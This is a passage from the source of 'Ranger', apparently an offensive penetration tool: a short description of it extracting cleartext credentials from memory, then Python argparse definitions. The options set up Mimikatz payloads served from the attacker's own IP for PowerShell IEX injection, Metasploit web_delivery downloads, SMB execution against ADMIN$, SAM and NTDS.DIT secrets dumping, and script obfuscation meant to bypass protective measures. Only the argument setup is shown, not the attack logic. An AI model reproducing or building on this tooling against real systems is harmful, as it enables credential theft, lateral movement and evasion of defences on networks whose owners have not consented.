Ranger is An attack and penetration tool that automates the identification of viable targets on an internal network using native protocols. The tool can then be used to extract cleartext credentials from the memory of vulnerable systems.

parser=argparse.ArgumentParser(usage=usage,description="A wrapping and execution tool for a some of the most useful impacket tools",epilog="This script oombines specific attacks with dynmaic methods, which allow you to bypass many protective measures.")

group1=parser.add_argument_group('Method')

group2=parser.add_argument_group('Attack')

group3=parser.add_argument_group('SAM and NTDS.DIT Options, used with --secrets-dump')

iex_options=parser.add_argument_group('PowerShell IEX Options')

remote_attack=parser.add_argument_group('Remote Target Options')

generator=parser.add_argument_group('Filename for randimization of script')

obfiscation=parser.add_argument_group('Tools to obfiscate the execution of scripts')

method=group1.add_mutually_exclusive_group()

attack=group2.add_mutually_exclusive_group()

sam_dump_options=group3.add_mutually_exclusive_group()

iex_options.add_argument("-i",action="store",dest="src_ip",default=None,help="Set the IP address of the Mimkatz server, defaults to eth0 IP")

iex_options.add_argument("-n",action="store",dest="interface",default="eth0",help="Instead of setting the IP you can extract it by interface, default eth0")

iex_options.add_argument("-p",action="store",dest="src_port",default="8000",help="Set the port the Mimikatz server is on, defaults to port 8000")

iex_options.add_argument("-x",action="store",dest="payload",default="Invoke-Mimikatz.ps1",help="The name of the file to injected, the default is Invoke-Mimikatz.ps1")

iex_options.add_argument("-a",action="store",dest="mim_arg",default="-DumpCreds",help="Allows you to change the argument name if you are not using the Mimikatz script, defaults to DumpCreds")

iex_options.add_argument("-f",action="store",dest="mim_func",default="Invoke-Mimikatz",help="Allows you to change the function or cmdlet name if not using Invoke-Mimikatz, defaults to Invoke-Mimikatz")

attack.add_argument("--invoker",action="store_true",dest="invoker",help="Configures the command to use Mimikatz invoker")

attack.add_argument("--downloader",action="store_true",dest="downloader",help="Configures the command to use Metasploit's exploit/multi/script/web_delivery")

remote_attack.add_argument("--share",action="store",default="ADMIN$",dest="share",help="The Share to execute against, the default is ADMIN$")

remote_attack.add_argument('--mode',action="store",dest="mode",choices={"SERVER","SHARE"},default="SERVER",help="Mode to use for --smbexec, default is SERVER, which requires root access, SHARE does not")

remote_attack.add_argument("--protocol",action="store",dest="protocol",choices={"445/SMB","139/SMB"},default="445/SMB",help="The protocol to attack over, the default is 445/SMB")

remote_attack.add_argument("--directory",action="store",dest="directory",default="C:\\",help="The directory to either drop the payload or instantiate the session")

sam_dump_options.add_argument("--system",action="store",help="The SYSTEM hive to parse")